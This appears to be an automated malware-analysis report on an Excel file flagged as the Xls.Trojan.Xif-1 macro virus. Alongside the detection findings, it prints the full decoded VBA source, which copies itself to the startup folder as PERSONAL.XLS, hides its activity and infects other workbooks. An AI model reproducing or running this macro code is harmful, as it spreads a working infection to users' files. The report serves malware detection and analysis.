MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
This Excel document contains a VBA macro that is triggered by the Auto_Open event. The macro attempts to copy itself to the user's startup folder as PERSONAL.XLS, thereby establishing persistence. The script also manipulates Excel application settings to hide its activity. The ClamAV detection 'Xls.Trojan.Xif-1' further supports its malicious nature.
Heuristics 3
-
ClamAV: Xls.Trojan.Xif-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Trojan.Xif-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Open macro high OLE_VBA_AUTOAuto_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1984 bytes |
SHA-256: 383e2db83525d1025339392f6ce67263bdf455eb792154f2337fc328c7392282 |
|||
|
Detection
ClamAV:
Xls.Trojan.Xif-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Xcel"
Sub Auto_Open()
Attribute Auto_Open.VB_ProcData.VB_Invoke_Func = " \n14"
Application.OnSheetActivate = "XcelInfektion"
End Sub
Sub XcelInfektion()
Attribute XcelInfektion.VB_ProcData.VB_Invoke_Func = " \n14"
AW = ActiveWorkbook.Name
TW = ThisWorkbook.Name
PX = "PERSONAL.XLS"
PPX = Application.StartupPath & "\" & PX
X = "Xcel"
On Error GoTo Xcelerator
If Application.UserName = "zWeiBLuM" And Application.OrganizationName = "[LGM]" Then GoTo Xcelerator
With Application
.ScreenUpdating = False
.Caption = "Micro$oft Excel"
.EnableCancelKey = xlDisabled
.DisplayAlerts = False
End With
XcelInf = 0
If TW <> PX Then
If Dir(PPX) = PX Then XcelInf = 1
If XcelInf = 1 Then
GoTo Xcelerator
Else
Workbooks.Add.SaveAs Filename:=PPX
Workbooks(TW).Sheets(X).Copy Before:=Workbooks(PX).Sheets(1)
Workbooks(PX).Sheets(X).Visible = False
Workbooks(PX).Save
Windows(PX).Visible = False
End If
Else
Windows(PX).Visible = False
For a = 1 To Workbooks(AW).Sheets.Count
If Workbooks(AW).Sheets(a).Name = X Then XcelInf = 1
Next
If XcelInf = 1 Then
GoTo Xcelerator
Else
Workbooks(PX).Sheets(X).Copy Before:=Workbooks(AW).Sheets(1)
Workbooks(AW).Sheets(X).Visible = False
Workbooks(AW).Save
Windows(PX).Visible = False
End If
End If
Workbooks(PX).Save
Application.ScreenUpdating = True
Application.DisplayAlerts = True
Call XcelAk
Xcelerator:
End Sub
Sub XcelAk()
End Sub
Attribute VB_Name = "DieseArbeitsmappe"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Tabelle1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.